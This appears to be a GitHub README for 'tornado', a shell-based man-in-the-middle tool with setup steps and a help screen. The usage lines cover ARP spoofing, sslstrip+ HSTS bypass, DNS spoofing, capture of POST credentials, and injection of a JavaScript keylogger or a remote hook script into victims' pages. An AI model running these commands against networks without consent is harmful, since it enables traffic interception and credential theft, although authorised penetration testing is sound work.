More2Chi / tornado

All in one MITM tool πŸŒͺ️

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

TORNADO

The easiest way to play with neighbors

setup

git clone https://github.com/rebellionil/tornado
cd tornado 
bash setup.sh

~# ./tornado.sh -h output


                       β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ•—   β–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—  β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—  
                       β•šβ•β•β–ˆβ–ˆβ•”β•β•β•β–ˆβ–ˆβ•”β•β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ•—  β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β•β–ˆβ–ˆβ•—
                          β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•”β–ˆβ–ˆβ•— β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘  β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘
                          β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘  β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘
                          β–ˆβ–ˆβ•‘   β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘  β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β•šβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘  β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•
                          β•šβ•β•    β•šβ•β•β•β•β•β• β•šβ•β•  β•šβ•β•β•šβ•β•  β•šβ•β•β•β•β•šβ•β•  β•šβ•β•β•šβ•β•β•β•β•β•||β•šβ•β•β•β•β•β• 
                           - Version 0.2 [CODED BY MAGDY MOUSTAFA]       ||||       
                           - github.com/rebellionil/tornado           |__||||__|    
                           - facebook.com/rebellionil                 ++++++++++    
                                                                      ||||||||||    

 β”Œβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β” 
 β–ˆ -h --help                   => guess what ?                                                                    β–ˆ 
 β•‘ -I --iface-info             => print connected interfaces information and exit                                 β•‘ 
 β–ˆ -t --target    <TARGET>     => specify target                                                                  β–ˆ 
 β•‘ -g --gateway   <Gateway>    => specify gateway                                                                 β•‘ 
 β•‘ -i --interface <iface>      => specify an interface                                                            β•‘ 
 β•‘ -o --savelog   <NAME>       => save sslstrip+ results                                                          β•‘ 
 β•‘ -f --forward   <on/off>     => don't forward traffic                                         [on|OFF]          β•‘ 
 β•‘ -c --no-colors              => remove colors from output                                     [on|OFF]          β•‘ 
 β•‘ -d --driftnet               => enable driftnet to extract images from session pcap file      [on|OFF]          β•‘ 
 β•‘ -u --urlsnarf               => log GET/POST requests with urlsnarf                           [on|OFF]          β•‘ 
 β•‘ -s --silent                 => run arpspoof and dns2proxy in background                      [on|OFF]          β•‘ 
 β•‘ -k --tshark                 => capture detailed post requests info with tshark               [on|OFF]          β•‘ 
 β•‘ -e --ettercap               => capture post requests with ettercap (RECOMMENDED)             [on|OFF]          β•‘ 
 β•‘ -m --tcpdump                => capture post requests with TCPdump                            [on|OFF]          β•‘ 
 β•‘ -K --tskark+                => capture GET/POST requests headers with tshark                 [on|OFF]          β•‘ 
 β•‘ -p --dnsspoof               => DNS spoofing with dns2proxy (DOMAIN => FAKE_IP)               [on|OFF]          β•‘ 
 β•‘ -r --iptraf                 => monitor network traffic with iptraf-ng                        [on|OFF]          β•‘ 
 β•‘ -a --etherape               => monitor network traffic with etherape                         [on|OFF]          β•‘ 
 β•‘ -C --no-check               => don't verify if targets are reachable or not                  [on|OFF]          β•‘ 
 β•‘ -x --burp                   => intercept captured traffic with burpsuite                                       β•‘ 
 β•‘ -X --mitmproxy              => intercept captured traffic with MITMproxy                                       β•‘ 
 β•‘ -H --hsts                   => intercept captured traffic with sslstrip+,dns2proxy                             β•‘ 
 β•‘ -w --mitmproxy-args         => customize mitmproxy performance                                                 β•‘ 
 β•‘ -l --js-url    <js URL>     => inject JS url in page content                                 [ HTTP ]          β•‘ 
 β•‘ -L --js-code   <js code>    => inject JS code from JS file [must be one line]                [ HTTP ]          β•‘ 
 β•‘ -G --js-keylogger           => inject JS keylogger in html pages                             [ HTTP ]          β•‘ 
 β•‘ -M --map-lan   <nmap args>  => perform a nmap network scan from tornado !                                      β•‘ 
 β•‘ usage. ./tornado.sh <options>                                                                                  β•‘ 
 β•‘ eg. ./tornado.sh -t 192.168.1.1/24 --map-lan -F                                                                β•‘ 
 β•‘ eg. ./tornado.sh -t 192.168.1.1/24 --map-lan --script vuln -p 80                                               β•‘ 
 β•‘ eg. ./tornado.sh -i wlan0 -t 192.168.1.50 -g 192.168.1.1 -a --mitmproxy --mitmproxy-args --no-mouse            β•‘ 
 β•‘ eg. ./tornado.sh -i wlan0 -t 192.168.1.1/24 -g 192.168.1.1 --ettercap --hsts -o ssl.log                        β•‘ 
 β•‘ eg. ./tornado.sh -i wlan0 -t 192.168.1.10 -g 192.168.1.1 -f                                                    β•‘ 
 β•‘ eg. ./tornado.sh -i wlan0 -t 192.168.1.10 -g 192.168.1.1 -l http://192.168.1.100:3000/hook.js                  β•‘ 
 β•‘ eg. ./tornado.sh -i wlan0 -t 192.168.1.10 -g 192.168.1.1 -L alert.js --js-keylogger                            β•‘ 
 β–ˆ eg. ./tornado.sh -i wlan0 -t 192.168.1.2,192.168.1.5,192.168.1.10 -g 192.168.1.1 --hsts -e -k -d -u            β–ˆ 
 β•‘ eg. ./tornado.sh -i wlan0 -t 192.168.1.5 -g 192.168.1.1 --burp                                                 β•‘ 
 β–ˆ eg. ./tornado.sh -i wlan0 -t 192.168.1.5 -g 192.168.1.1 --dnsspoof dnsfile.txt                                 β–ˆ 
 β””β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β”˜ 
β”Œβ”€[root@parrot]─[~/tornado]
└──╼ #


Version release: 0.2-STABLE
Author: Magdy Moustafa  [ rebellionil ]
Distros Supported: Linux Ubuntu, Kali, Debian, BackBox, Parrot OS

screenshots

alt text alt text alt text alt text alt text alt text alt text alt text alt text alt text alt text alt text

LEGAL DISCLAMER

The author does not hold any responsibility for the bad use of this tool,
remember that attacking targets without prior consent it's illegal and punished by law.

Tornado limitations

1ΒΊ - Tornado will fail if target system its protected againt arp poison atacks
2ΒΊ - target system sometimes needs to clear the net cache for arp poison to be effective
3ΒΊ - many attacks described in tornado may be dropped by the target HSTS detection sys.

Dependencies

nmap, iptraf-ng, sslstrip2, dns2proxy, mitmproxy, burpsuite, tshark, tcpdump, ettercap, etherape, urlsnarf, arpspoof, driftnet, arp-scan

EOF

About

All in one MITM tool πŸŒͺ️


Languages

Language:Shell 99.9%Language:JavaScript 0.1%